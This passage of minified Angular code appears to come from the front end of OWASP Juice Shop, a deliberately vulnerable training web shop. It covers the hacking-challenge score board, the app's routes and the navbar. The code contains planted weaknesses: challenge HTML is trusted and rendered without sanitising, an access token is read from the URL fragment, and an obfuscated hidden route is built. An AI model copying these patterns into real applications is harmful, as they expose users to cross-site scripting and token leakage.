60.0204C73.532 59.5937 72.9534 59.3541 72.35 59.3541H54.15C53.5466 59.3541 52.968 59.5937 52.5413 60.0204C52.1147 60.447 51.875 61.0257 51.875 61.6291V72.6249ZM29.125 72.6249V54.0457C29.125 53.4424 28.8853 52.8637 28.4587 52.4371C28.032 52.0104 27.4534 51.7707 26.85 51.7707H8.65C8.04663 51.7707 7.46798 52.0104 7.04133 52.4371C6.61469 52.8637 6.375 53.4424 6.375 54.0457V70.3499C6.375 70.9533 6.61469 71.5319 7.04133 71.9586C7.46798 72.3852 8.04663 72.6249 8.65 72.6249H29.125ZM35.9727 12.3867L39.4194 5.08015C39.5124 4.87128 39.664 4.69384 39.8558 4.56933C40.0476 4.44481 40.2713 4.37854 40.5 4.37854C40.7287 4.37854 40.9524 4.44481 41.1442 4.56933C41.336 4.69384 41.4876 4.87128 41.5806 5.08015L45.031 12.3867L52.7357 13.5659C53.7253 13.7176 54.1197 14.9916 53.403 15.7196L47.8293 21.4071L49.145 29.4378C49.3118 30.4691 48.2805 31.2578 47.3933 30.7687L40.5 26.977L33.6068 30.7687C32.7233 31.254 31.6882 30.4691 31.855 29.4378L33.1707 21.4071L27.597 15.7196C26.8765 14.9916 27.2747 13.7176 28.2605 13.5659L35.9727 12.3867Z","stroke","var(--theme-text)","stroke-opacity","0.12","stroke-width","5.6875","stroke-linecap","round","stroke-linejoin","round"],["id","clip0_2_621"],["width","62","height","69","fill","var(--theme-text)"]],template:function(e,o){1&e&&(t.TgZ(0,"score-card",0),t.ALo(1,"translate"),t.TgZ(2,"div",1),t.O4$(),t.TgZ(3,"svg",2)(4,"g",3),t._UZ(5,"path",4),t.qZA(),t.TgZ(6,"defs")(7,"clipPath",5),t._UZ(8,"rect",6),t.qZA()()()()()),2&e&&t.Q6J("description",t.lcZ(1,4,"TITLE_HACKING_CHALLENGES"))("total",o.allChallenges.length)("score",o.solvedChallenges)("showAsPercentage",!0)},dependencies:[me,u.X$],styles:[".icon-group[_ngcontent-%COMP%]{align-items:flex-end;display:flex;height:100%;justify-content:flex-end}"]}),n})();function Bu(n,a){1&n&&(t.ynx(0),t._uU(1),t.ALo(2,"translate"),t.BQk()),2&n&&(t.xp6(1),t.hij(" ",t.lcZ(2,1,"SCORE_BOARD_LEGACY_NOTICE_NO_CONTACT")," "))}function Ru(n,a){1&n&&(t._UZ(0,"span",5),t.ALo(1,"translate")),2&n&&t.Q6J("innerHTML",t.lcZ(1,1,"SCORE_BOARD_LEGACY_NOTICE_WITH_CONTACT"),t.oJD)}let Yu=(()=>{class n{constructor(){this.applicationConfig=null}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["legacy-notice"]],inputs:{applicationConfig:"applicationConfig"},decls:10,vars:5,consts:[["warning-icon",""],["warning-text",""],[4,"ngIf","ngIfElse"],["noticeWithLinks",""],["warning-action","","mat-button","","routerLink","/score-board-legacy"],[3,"innerHTML"]],template:function(e,o){if(1&e&&(t.TgZ(0,"warning-card")(1,"mat-icon",0),t._uU(2,"texture"),t.qZA(),t.TgZ(3,"span",1),t.YNc(4,Bu,3,3,"ng-container",2),t.YNc(5,Ru,2,3,"ng-template",null,3,t.W1O),t.qZA(),t.TgZ(7,"a",4),t._uU(8),t.ALo(9,"translate"),t.qZA()()),2&e){const i=t.MAs(6);t.xp6(4),t.Q6J("ngIf",!(null!=o.applicationConfig&&null!=o.applicationConfig.application&&o.applicationConfig.application.showGitHubLinks))("ngIfElse",i),t.xp6(4),t.hij(" ",t.lcZ(9,3,"SCORE_BOARD_LEGACY_BACK")," ")}},dependencies:[h.O5,x.zs,F.Hw,U.rH,de,u.X$],encapsulation:2}),n})();const Ju=function(n){return{num:n}};function Qu(n,a){if(1&n&&(t.TgZ(0,"warning-card")(1,"mat-icon",1),t._uU(2,"school"),t.qZA(),t.TgZ(3,"span",2),t._uU(4),t.ALo(5,"translate"),t.qZA()()),2&n){const e=t.oxw();t.xp6(4),t.hij(" ",t.xi3(5,1,"INFO_FULL_CHALLENGE_MODE",t.VKq(4,Ju,e.allChallenges.length))," ")}}let Hu=(()=>{class n{constructor(){this.applicationConfig=null,this.tutorialModeActive=null}ngOnChanges(){if(!this.applicationConfig?.challenges?.restrictToTutorialsFirst)return void(this.tutorialModeActive=!1);const e=this.allChallenges.filter(o=>null!==o.tutorialOrder).every(o=>o.solved);this.tutorialModeActive=!e}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["tutorial-mode-warning"]],inputs:{allChallenges:"allChallenges",applicationConfig:"applicationConfig"},features:[t.TTD],decls:1,vars:1,consts:[[4,"ngIf"],["warning-icon",""],["warning-text","",1,"tutorial-mode-warning-text"]],template:function(e,o){1&e&&t.YNc(0,Qu,6,6,"warning-card",0),2&e&&t.Q6J("ngIf",o.tutorialModeActive)},dependencies:[h.O5,F.Hw,de,u.X$],encapsulation:2}),n})();function Gu(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"filter-settings",6),t.NdJ("filterSettingChange",function(i){t.CHM(e);const r=t.oxw();return t.KtG(r.onFilterSettingUpdate(i))}),t.qZA()}if(2&n){const e=t.oxw();t.Q6J("filterSetting",e.filterSetting)("allChallenges",e.allChallenges)("reset",e.reset.bind(e))}}function ju(n,a){1&n&&(t.TgZ(0,"div",7),t._UZ(1,"mat-spinner"),t.qZA())}const Ku=function(n,a,e){return{solved:n,unsolved:a,disabled:e}};function Wu(n,a){if(1&n&&t._UZ(0,"challenge-card",15),2&n){const e=a.$implicit,o=t.oxw(3);t.Q6J("challenge",e)("applicationConfiguration",o.applicationConfiguration)("openCodingChallengeDialog",o.openCodingChallengeDialog.bind(o))("repeatChallengeNotification",o.repeatChallengeNotification.bind(o))("ngClass",t.kEZ(5,Ku,e.solved,!e.solved,null!==e.disabledEnv))}}function zu(n,a){if(1&n&&(t.TgZ(0,"div",13),t.YNc(1,Wu,1,9,"challenge-card",14),t.qZA()),2&n){const e=t.oxw(2);t.xp6(1),t.Q6J("ngForOf",e.filteredChallenges)("ngForTrackBy",e.getChallengeKey)}}function $u(n,a){1&n&&(t.TgZ(0,"div",17)(1,"p"),t._uU(2),t.ALo(3,"translate"),t.qZA()()),2&n&&(t.xp6(2),t.Oqu(t.lcZ(3,1,"NO_CHALLENGES_FOUND")))}function Vu(n,a){if(1&n&&t.YNc(0,$u,4,3,"div",16),2&n){const e=t.oxw(2);t.Q6J("ngIf",e.allChallenges.length>0)}}function Xu(n,a){if(1&n){const e=t.EpF();t.ynx(0),t.TgZ(1,"challenges-unavailable-warning",8),t.NdJ("filterSettingChange",function(i){t.CHM(e);const r=t.oxw();return t.KtG(r.onFilterSettingUpdate(i))}),t.qZA(),t._UZ(2,"tutorial-mode-warning",9),t.YNc(3,zu,2,2,"div",10),t.YNc(4,Vu,1,1,"ng-template",null,11,t.W1O),t._UZ(6,"img",12),t.BQk()}if(2&n){const e=t.MAs(5),o=t.oxw();t.xp6(1),t.Q6J("challenges",o.allChallenges)("filterSetting",o.filterSetting),t.xp6(1),t.Q6J("allChallenges",o.allChallenges)("applicationConfig",o.applicationConfiguration),t.xp6(1),t.Q6J("ngIf",o.filteredChallenges.length>0)("ngIfElse",e)}}let tp=(()=>{class n{constructor(e,o,i,r,l,m,v,A,q){this.challengeService=e,this.codeSnippetService=o,this.configurationService=i,this.sanitizer=r,this.ngZone=l,this.io=m,this.dialog=v,this.router=A,this.route=q,this.allChallenges=[],this.filteredChallenges=[],this.filterSetting=structuredClone(qt),this.applicationConfiguration=null,this.isInitialized=!1,this.subscriptions=[]}ngOnInit(){const e=(0,Bc.aj)([this.challengeService.find({sort:"name"}),this.codeSnippetService.challenges(),this.configurationService.getApplicationConfiguration()]).subscribe(([i,r,l])=>{this.applicationConfiguration=l;const m=i.map(v=>({...v,tagList:v.tags?v.tags.split(",").map(A=>A.trim()):[],originalDescription:v.description,description:this.sanitizer.bypassSecurityTrustHtml(v.description),hasCodingChallenge:r.includes(v.key)}));this.allChallenges=m,this.filterAndUpdateChallenges(),this.isInitialized=!0});this.subscriptions.push(e);const o=this.route.queryParams.subscribe(i=>{this.rewriteLegacyChallengeDirectLink(i)||(this.filterSetting=function Rc(n){const a={...structuredClone(qt)};return n.searchQuery&&(a.searchQuery=n.searchQuery),n.difficulties&&(a.difficulties=n.difficulties.split(",").map(e=>parseInt(e,10)).filter(e=>!isNaN(e))),n.tags&&(a.tags=n.tags.split(",")),n.status&&(a.status=n.status),n.categories&&(a.categories=n.categories.split(",")),void 0!==n.showDisabledChallenges&&(a.showDisabledChallenges="true"===n.showDisabledChallenges),a}(i),this.filterAndUpdateChallenges())});this.subscriptions.push(o),this.io.socket().on("challenge solved",this.onChallengeSolvedWebsocket.bind(this)),this.io.socket().on("code challenge solved",this.onCodeChallengeSolvedWebsocket.bind(this))}ngOnDestroy(){this.io.socket().off("challenge solved",this.onChallengeSolvedWebsocket.bind(this)),this.io.socket().off("code challenge solved",this.onCodeChallengeSolvedWebsocket.bind(this));for(const e of this.subscriptions)e.unsubscribe()}onFilterSettingUpdate(e){this.router.navigate([],{queryParams:je(e)})}onChallengeSolvedWebsocket(e){e&&(this.allChallenges=this.allChallenges.map(o=>o.key===e.key?{...o,solved:!0}:{...o}),this.filterAndUpdateChallenges(),this.ngZone.run(()=>{}))}onCodeChallengeSolvedWebsocket(e){e&&(this.allChallenges=this.allChallenges.map(o=>o.key===e.key?{...o,codingChallengeStatus:e.codingChallengeStatus}:{...o}),this.filterAndUpdateChallenges(),this.ngZone.run(()=>{}))}filterAndUpdateChallenges(){this.filteredChallenges=function Qc(n){return(0,Ke.Z)(n,["difficulty","tutorialOrder","name"])}(function Yc(n,a){return n.filter(e=>0===a.categories.length||a.categories.includes(e.category)).filter(e=>0===a.difficulties.length||a.difficulties.includes(e.difficulty)).filter(e=>0===a.tags.length||e.tagList.some(o=>a.tags.includes(o))).filter(e=>null===a.status||a.status===function Jc(n){return n.solved?n.hasCodingChallenge?2===n.codingChallengeStatus?"solved":"partially-solved":n.solved?"solved":"unsolved":"unsolved"}(e)).filter(e=>null===e.disabledEnv||a.showDisabledChallenges).filter(e=>null===a.searchQuery||e.name.toLowerCase().includes(a.searchQuery.toLowerCase())||e.originalDescription.toLowerCase().includes(a.searchQuery.toLowerCase())).filter(e=>{if(!a.restrictToTutorialChallengesFirst)return!0;const o=n.filter(m=>null!==m.tutorialOrder),i=o.every(m=>m.solved);if(i)return!0;if(!i&&null===e.tutorialOrder)return!1;const r=o.filter(m=>!m.solved).map(m=>m.difficulty),l=Math.min(...r);return e.difficulty<=l})}(this.allChallenges,{...this.filterSetting,restrictToTutorialChallengesFirst:this.applicationConfiguration?.challenges?.restrictToTutorialsFirst??!0}))}getChallengeKey(e,o){return o.key}reset(){this.router.navigate([],{queryParams:je(qt)})}openCodingChallengeDialog(e){const o=this.allChallenges.find(i=>i.key===e);this.dialog.open(Ne,{disableClose:!0,data:{key:e,name:o.name,codingChallengeStatus:o.codingChallengeStatus}})}repeatChallengeNotification(e){var o=this;return(0,w.Z)(function*(){const i=o.allChallenges.find(r=>r.key===e);yield o.challengeService.repeatNotification(encodeURIComponent(i.name)).toPromise()})()}rewriteLegacyChallengeDirectLink(e){return!(!e.challenge||(console.warn(\'The "challenge=<name>" URL query parameter is deprecated! You should use "searchQuery=<name>" instead to link to a challenge directly. See https://pwning.owasp-juice.shop/companion-guide/latest/part4/integration.html#_generating_links_to_juice_shop for details.\'),e.searchQuery)||(this.router.navigate([],{queryParams:{...e,challenge:null,searchQuery:e.challenge}}),0))}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(ot),t.Y36(ne),t.Y36(b.e),t.Y36(k.H7),t.Y36(t.R0b),t.Y36(st),t.Y36(N.uw),t.Y36(U.F0),t.Y36(U.gz))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-score-board"]],decls:8,vars:7,consts:[[1,"score-row"],[3,"allChallenges"],[3,"filterSetting","allChallenges","reset","filterSettingChange",4,"ngIf"],[3,"applicationConfig"],["class","loading-spinner-wrapper",4,"ngIf"],[4,"ngIf"],[3,"filterSetting","allChallenges","reset","filterSettingChange"],[1,"loading-spinner-wrapper"],[3,"challenges","filterSetting","filterSettingChange"],[3,"allChallenges","applicationConfig"],["class","challenges",4,"ngIf","ngIfElse"],["emptyChallenges",""],["src","assets/public/images/padding/1px.png"],[1,"challenges"],[3,"challenge","applicationConfiguration","openCodingChallengeDialog","repeatChallengeNotification","ngClass",4,"ngFor","ngForOf","ngForTrackBy"],[3,"challenge","applicationConfiguration","openCodingChallengeDialog","repeatChallengeNotification","ngClass"],["class","empty-challenges",4,"ngIf"],[1,"empty-challenges"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0),t._UZ(1,"hacking-challenge-progress-score-card",1)(2,"coding-challenge-progress-score-card",1)(3,"difficulty-overview-score-card",1),t.qZA(),t.YNc(4,Gu,1,3,"filter-settings",2),t._UZ(5,"legacy-notice",3),t.YNc(6,ju,2,0,"div",4),t.YNc(7,Xu,7,6,"ng-container",5)),2&e&&(t.xp6(1),t.Q6J("allChallenges",o.allChallenges),t.xp6(1),t.Q6J("allChallenges",o.allChallenges),t.xp6(1),t.Q6J("allChallenges",o.allChallenges),t.xp6(1),t.Q6J("ngIf",!1===(null==o.applicationConfiguration?null:o.applicationConfiguration.challenges.restrictToTutorialsFirst)),t.xp6(1),t.Q6J("applicationConfig",o.applicationConfiguration),t.xp6(1),t.Q6J("ngIf",!1===o.isInitialized),t.xp6(1),t.Q6J("ngIf",!0===o.isInitialized))},dependencies:[h.mk,h.sg,h.O5,We.Ou,su,_u,Tu,Su,qu,Fu,Yu,Hu,u.X$],styles:["[_nghost-%COMP%]{display:block;margin:48px 72px}@media (max-width: 1500px){[_nghost-%COMP%]{margin:48px 64px}}@media (max-width: 900px){[_nghost-%COMP%]{margin:48px}}@media (max-width: 600px){[_nghost-%COMP%]{margin:32px 16px}}.score-row[_ngcontent-%COMP%]{column-gap:16px;display:grid;grid-template-columns:repeat(3,1fr);min-height:120px;row-gap:8px}@media (max-width: 1500px){.score-row[_ngcontent-%COMP%]{grid-template-columns:repeat(3,1fr)}}@media (max-width: 900px){.score-row[_ngcontent-%COMP%]{grid-template-columns:repeat(2,1fr)}}@media (max-width: 600px){.score-row[_ngcontent-%COMP%]{grid-template-columns:repeat(1,1fr)}}.challenges[_ngcontent-%COMP%]{column-gap:16px;display:grid;grid-template-columns:repeat(4,1fr);margin-top:32px;row-gap:12px}@media (max-width: 1500px){.challenges[_ngcontent-%COMP%]{grid-template-columns:repeat(3,1fr)}}@media (max-width: 900px){.challenges[_ngcontent-%COMP%]{grid-template-columns:repeat(2,1fr)}}@media (max-width: 600px){.challenges[_ngcontent-%COMP%]{grid-template-columns:repeat(1,1fr)}}.empty-challenges[_ngcontent-%COMP%]{align-items:center;display:flex;flex-direction:column;justify-content:center;margin:0 32px;min-height:20vh}.loading-spinner-wrapper[_ngcontent-%COMP%]{align-items:center;display:flex;justify-content:center;padding:64px;width:100%}"]}),n})();const ep=function(){var n=(0,w.Z)(function*(){return(yield Promise.all([c.e(98),c.e(592),c.e(67)]).then(c.bind(c,9067))).FaucetModule});return function(){return n.apply(this,arguments)}}(),np=function(){var n=(0,w.Z)(function*(){return(yield Promise.all([c.e(98),c.e(592),c.e(745)]).then(c.bind(c,7745))).WalletWeb3Module});return function(){return n.apply(this,arguments)}}(),op=function(){var n=(0,w.Z)(function*(){return(yield Promise.all([c.e(98),c.e(202)]).then(c.bind(c,6202))).FaucetModule});return function(){return n.apply(this,arguments)}}(),ap=[{path:"administration",component:wa,canActivate:[Ot]},{path:"accounting",component:_l,canActivate:[Ut]},{path:"about",component:Kn},{path:"address/select",component:rs,canActivate:[W]},{path:"address/saved",component:ss,canActivate:[W]},{path:"address/create",component:Re,canActivate:[W]},{path:"address/edit/:addressId",component:Re,canActivate:[W]},{path:"delivery-method",component:Tc},{path:"deluxe-membership",component:Mc,canActivate:[W]},{path:"saved-payment-methods",component:Hs},{path:"basket",component:_n},{path:"order-completion/:id",component:Dl},{path:"contact",component:Bn},{path:"photo-wall",component:Lc},{path:"complain",component:Ra},{path:"chatbot",component:Ga},{path:"order-summary",component:Yl},{path:"order-history",component:cc},{path:"payment/:entity",component:Qs},{path:"wallet",component:Hl},{path:"login",component:jo},{path:"forgot-password",component:Co},{path:"recycle",component:vi},{path:"register",component:ro},{path:"search",component:$t},{path:"hacking-instructor",component:$t},{path:"score-board",component:tp},{path:"score-board-legacy",component:Er},{path:"track-result",component:fe},{path:"track-result/new",component:fe,data:{type:"new"}},{path:"2fa/enter",component:Dr},{path:"privacy-security",component:Fr,children:[{path:"privacy-policy",component:zr},{path:"change-password",component:La},{path:"two-factor-authentication",component:Yr},{path:"data-export",component:Kr},{path:"last-login-ip",component:Wr}]},{path:"juicy-nft",component:Fc},{path:"wallet-web3",loadChildren:(n=(0,w.Z)(function*(){return yield np()}),function(){return n.apply(this,arguments)})},{path:"web3-sandbox",loadChildren:function(){var n=(0,w.Z)(function*(){return yield op()});return function(){return n.apply(this,arguments)}}()},{path:"bee-haven",loadChildren:function(){var n=(0,w.Z)(function*(){return yield ep()});return function(){return n.apply(this,arguments)}}()},{matcher:function rp(n){return 0===n.length?null:window.location.href.includes("#access_token=")?{consumed:n}:null},data:{params:window.location.href.substr(window.location.href.indexOf("#"))},component:Bt},{matcher:function sp(n){return 0===n.length?null:n[0].toString().match(function lp(...n){const a=Array.prototype.slice.call(n),e=a.shift();return a.reverse().map(function(o,i){return String.fromCharCode(o-e-45-i)}).join("")}(25,184,174,179,182,186)+36669..toString(36).toLowerCase()+function cp(...n){const a=Array.prototype.slice.call(arguments),e=a.shift();return a.reverse().map(function(o,i){return String.fromCharCode(o-e-24-i)}).join("")}(13,144,87,152,139,144,83,138)+10..toString(36).toLowerCase())?{consumed:n}:null},component:gt},{path:"403",component:qr},{path:"**",component:$t}],ip=U.Bz.forRoot(ap,{useHash:!0});var n,up=c(2101),tn=c(3447);let he=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/rest/admin"}getApplicationVersion(){return this.http.get(this.host+"/application-version").pipe((0,C.U)(e=>e.version),(0,_.K)(e=>{throw e}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),pp=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer}getLanguages(){return this.http.get(`${this.hostServer}/rest/languages`).pipe((0,_.K)(e=>{throw e}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var yt=c(3683),Ft=c(8255),en=c(2855);function dp(n,a){1&n&&(t.TgZ(0,"button",38)(1,"mat-icon"),t._uU(2," exit_to_app "),t.qZA(),t.TgZ(3,"span"),t._uU(4),t.ALo(5,"translate"),t.qZA()()),2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"TITLE_LOGIN")," "))}function mp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",39),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.goToProfilePage())}),t.TgZ(1,"mat-icon"),t._uU(2," account_circle "),t.qZA(),t.TgZ(3,"span"),t._uU(4),t.qZA()()}if(2&n){const e=t.oxw();t.xp6(4),t.hij(" ",e.userEmail," ")}}function gp(n,a){1&n&&(t.TgZ(0,"button",40)(1,"mat-icon"),t._uU(2," account_balance "),t.qZA(),t.TgZ(3,"span"),t._uU(4),t.ALo(5,"translate"),t.qZA()()),2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"ACCOUNTING")," "))}function hp(n,a){if(1&n&&(t.TgZ(0,"button",41)(1,"mat-icon"),t._uU(2," check_circle_outline "),t.qZA(),t.TgZ(3,"span"),t._uU(4),t.ALo(5,"translate"),t.qZA()()),2&n){t.oxw();const e=t.MAs(71);t.Q6J("matMenuTriggerFor",e),t.xp6(4),t.hij(" ",t.lcZ(5,2,"ORDERS_AND_PAYMENT")," ")}}function _p(n,a){if(1&n&&(t.TgZ(0,"button",42)(1,"mat-icon"),t._uU(2," security "),t.qZA(),t.TgZ(3,"span"),t._uU(4),t.ALo(5,"translate"),t.qZA()()),2&n){t.oxw();const e=t.MAs(38);t.Q6J("matMenuTriggerFor",e),t.xp6(4),t.hij(" ",t.lcZ(5,2,"PRIVACY_AND_SECURITY")," ")}}function fp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",43),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.logout())}),t.TgZ(1,"mat-icon"),t._uU(2," power_settings_new "),t.qZA(),t.TgZ(3,"span"),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"TITLE_LOGOUT")," "))}function Cp(n,a){if(1&n&&(t.TgZ(0,"button",44)(1,"mat-icon"),t._uU(2," shopping_cart "),t.qZA(),t.TgZ(3,"span",20),t._uU(4),t.ALo(5,"translate"),t.qZA(),t.TgZ(6,"span",45),t._uU(7),t.qZA()()),2&n){const e=t.oxw();t.xp6(4),t.hij(" ",t.lcZ(5,2,"TITLE_BASKET"),""),t.xp6(3),t.Oqu(e.itemTotal)}}function vp(n,a){1&n&&t._UZ(0,"span"),2&n&&t.Tol("fi fi-"+a.$implicit)}function xp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-radio-button",46),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.changeLanguage(r.key))}),t.TgZ(1,"div",47),t.YNc(2,vp,1,2,"span",48),t._uU(3),t.qZA(),t._UZ(4,"i"),t.qZA()}if(2&n){const e=a.$implicit,o=t.oxw();t.s9C("checked",o.selectedLanguage===e),t.s9C("aria-label",e.lang),t.Q6J("value",e),t.xp6(2),t.Q6J("ngForOf",e.icons),t.xp6(1),t.hij(" ",null==e?null:e.lang," "),t.xp6(1),t.Tol("fas fa-thermometer-"+e.gauge+(e.percentage>70?" confirmation":" error"))}}function bp(n,a){1&n&&(t.TgZ(0,"button",49)(1,"mat-icon"),t._uU(2," my_location "),t.qZA(),t.TgZ(3,"span"),t._uU(4),t.ALo(5,"translate"),t.qZA()()),2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"MY_SAVED_ADRESSES")," "))}function Tp(n,a){1&n&&(t.TgZ(0,"button",50)(1,"mat-icon"),t._uU(2," credit_card "),t.qZA(),t.TgZ(3,"span"),t._uU(4),t.ALo(5,"translate"),t.qZA()()),2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"MY_PAYMENT_OPTIONS")," "))}function Ap(n,a){1&n&&(t.TgZ(0,"button",51)(1,"mat-icon"),t._uU(2," account_balance_wallet "),t.qZA(),t.TgZ(3,"span"),t._uU(4),t.ALo(5,"translate"),t.qZA()()),2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"DIGITAL_WALLET")," "))}const yp=function(){return["privacy-security/privacy-policy"]},Zp=function(){return["privacy-security/data-export"]},wp=function(){return["privacy-security/change-password"]},Sp=function(){return["privacy-security/two-factor-authentication"]},kp=function(){return["privacy-security/last-login-ip"]};O.vI.add(g.BCn,g.wn1,g.$Wj,g.jLD,g.Mzg,g.Yme,g.kWN,g.sqG,g.sq$,g.BC0,g.TZC,g.Mzo,g.m08,Z.zhw,D.lX,g.$cZ,g.fZP,g.whq,g.xJT,g.VN$);let Ip=(()=>{class n{constructor(e,o,i,r,l,m,v,A,q,Y,dt,wt,St){this.administrationService=e,this.challengeService=o,this.configurationService=i,this.userService=r,this.ngZone=l,this.cookieService=m,this.router=v,this.translate=A,this.io=q,this.langService=Y,this.loginGuard=dt,this.snackBar=wt,this.basketService=St,this.userEmail="",this.languages=[],this.selectedLanguage="placeholder",this.version="",this.applicationName="OWASP Juice Shop",this.showGitHubLink=!0,this.logoSrc="assets/public/images/JuiceShop_Logo.png",this.scoreBoardVisible=!1,this.shortKeyLang="placeholder",this.itemTotal=0,this.sidenavToggle=new t.vpe,this.onToggleSidenav=()=>{this.sidenavToggle.emit()}}ngOnInit(){this.getLanguages(),this.basketService.getItemTotal().subscribe(e=>this.itemTotal=e),this.administrationService.getApplicationVersion().subscribe(e=>{e&&(this.version=`v${e}`)},e=>{console.log(e)}),this.configurationService.getApplicationConfiguration().subscribe(e=>{if(e?.application?.name&&(this.applicationName=e.application.name),e?.application&&(this.showGitHubLink=e.application.showGitHubLinks),e?.application?.logo){let o=e.application.logo;"http"===o.substring(0,4)&&(o=decodeURIComponent(o.substring(o.lastIndexOf("/")+1))),this.logoSrc="assets/public/images/"+o}},e=>{console.log(e)}),localStorage.getItem("token")?this.getUserDetails():this.userEmail="",this.userService.getLoggedInState().subscribe(e=>{e?this.getUserDetails():this.userEmail=""}),this.getScoreBoardStatus(),this.ngZone.runOutsideAngular(()=>{this.io.socket().on("challenge solved",e=>{"scoreBoardChallenge"===e.key&&(this.scoreBoardVisible=!0)})})}checkLanguage(){if(this.cookieService.get("language")){const e=this.cookieService.get("language");this.translate.use(e),this.selectedLanguage=this.languages.find(o=>o.key===e),this.shortKeyLang=this.languages.find(o=>o.key===e).shortKey}else this.changeLanguage("en"),this.selectedLanguage=this.languages.find(e=>"en"===e.key),this.shortKeyLang=this.languages.find(e=>"en"===e.key).shortKey}search(e){var o=this;if(e){const i={queryParams:{q:e}};this.ngZone.run((0,w.Z)(function*(){return yield o.router.navigate(["/search"],i)}))}else this.ngZone.run((0,w.Z)(function*(){return yield o.router.navigate(["/search"])}))}getUserDetails(){this.userService.whoAmI().subscribe(e=>{this.userEmail=e.email},e=>{console.log(e)})}isLoggedIn(){return localStorage.getItem("token")}logout(){var e=this;this.userService.saveLastLoginIp().subscribe(o=>{this.noop()},o=>{console.log(o)}),localStorage.removeItem("token"),this.cookieService.remove("token"),sessionStorage.removeItem("bid"),sessionStorage.removeItem("itemTotal"),this.userService.isLoggedIn.next(!1),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/"])}))}changeLanguage(e){this.translate.use(e);const o=new Date;if(o.setFullYear(o.getFullYear()+1),this.cookieService.put("language",e,{expires:o}),this.languages.find(i=>i.key===e)){const i=this.languages.find(l=>l.key===e);this.shortKeyLang=i.shortKey,this.snackBar.open(`Language has been changed to ${i.lang}`,"Force page reload",{duration:5e3}).onAction().subscribe(()=>{location.reload()})}}getScoreBoardStatus(){this.challengeService.find({name:"Score Board"}).subscribe(e=>{this.ngZone.run(()=>{this.scoreBoardVisible=e[0].solved})},e=>{console.log(e)})}goToProfilePage(){window.location.replace(P.N.hostServer+"/profile")}goToDataErasurePage(){window.location.replace(P.N.hostServer+"/dataerasure")}noop(){}getLanguages(){this.langService.getLanguages().subscribe(e=>{this.languages=e,this.checkLanguage()})}isAccounting(){const e=this.loginGuard.tokenDecode();return e?.data&&"accounting"===e.data.role}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(he),t.Y36(ot),t.Y36(b.e),t.Y36(R),t.Y36(t.R0b),t.Y36(I.N_),t.Y36(U.F0),t.Y36(u.sK),t.Y36(st),t.Y36(pp),t.Y36(W),t.Y36(ut.ux),t.Y36(X))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-navbar"]],outputs:{sidenavToggle:"sidenavToggle"},decls:88,vars:43,consts:[["color","primary","fxLayout","column","xmlns","http://www.w3.org/1999/html",1,"mat-elevation-z6"],["fxLayout","row"],["mat-button","","aria-label","Open Sidenav","matTooltipPosition","below",2,"height","48px","width","48px",3,"matTooltip","click"],["mat-button","","routerLink","/search","aria-label","Back to homepage",1,"buttons",2,"height","60px"],[1,"logo",3,"src","alt"],["fxHide.lt-sm","","fxShow","",2,"font-size","x-large"],[1,"fill-remaining-space"],["id","searchQuery","aria-label","Click to search",3,"onEnter"],["searchControl",""],["mat-button","","fxHide.lt-md","","fxShow","","aria-label","Show/hide account menu","id","navbarAccount",1,"buttons",2,"vertical-align","middle","height","48px",3,"matMenuTriggerFor"],[1,"material-icons"],["userMenu","matMenu"],["mat-menu-item","","routerLink","/login","aria-label","Go to login page","id","navbarLoginButton",4,"ngIf"],["mat-menu-item","","aria-label","Go to user profile",3,"click",4,"ngIf"],["mat-menu-item","","routerLink","/accounting","aria-label","Go to accounting page",4,"ngIf"],["mat-menu-item","","aria-label","Show Orders and Payment Menu",3,"matMenuTriggerFor",4,"ngIf"],["mat-menu-item","","aria-label","Show Privacy and Security Menu",3,"matMenuTriggerFor",4,"ngIf"],["mat-menu-item","","aria-label","Logout","id","navbarLogoutButton",3,"click",4,"ngIf"],["mat-button","","routerLink","/basket","style","height:48px;","class","buttons","aria-label","Show the shopping cart",4,"ngIf"],["mat-button","","aria-label","Language selection menu","matTooltipPosition","below",1,"buttons",2,"height","48px","width","48px",3,"matMenuTriggerFor","matTooltip"],["fxHide.lt-md","","fxShow",""],[3,"overlapTrigger"],["menu","matMenu"],["class","mat-menu-item","style","width: 240px;",3,"value","checked","aria-label","click",4,"ngFor","ngForOf"],["privacySubMenu","matMenu"],["mat-menu-item","","aria-label","Go to privacy policy page",3,"routerLink"],["translate",""],["mat-menu-item","","aria-label","Go to data export page",3,"routerLink"],["mat-menu-item","","aria-label","Go to data subject page",3,"click"],["mat-menu-item","","aria-label","Go to change password page",3,"routerLink"],["mat-menu-item","","aria-label","Go to two factor authentication page",3,"routerLink"],["mat-menu-item","","aria-label","Go to last login ip page",3,"routerLink"],["ordersSubMenu","matMenu"],["mat-menu-item","","routerLink","/order-history","aria-label","Go to order history 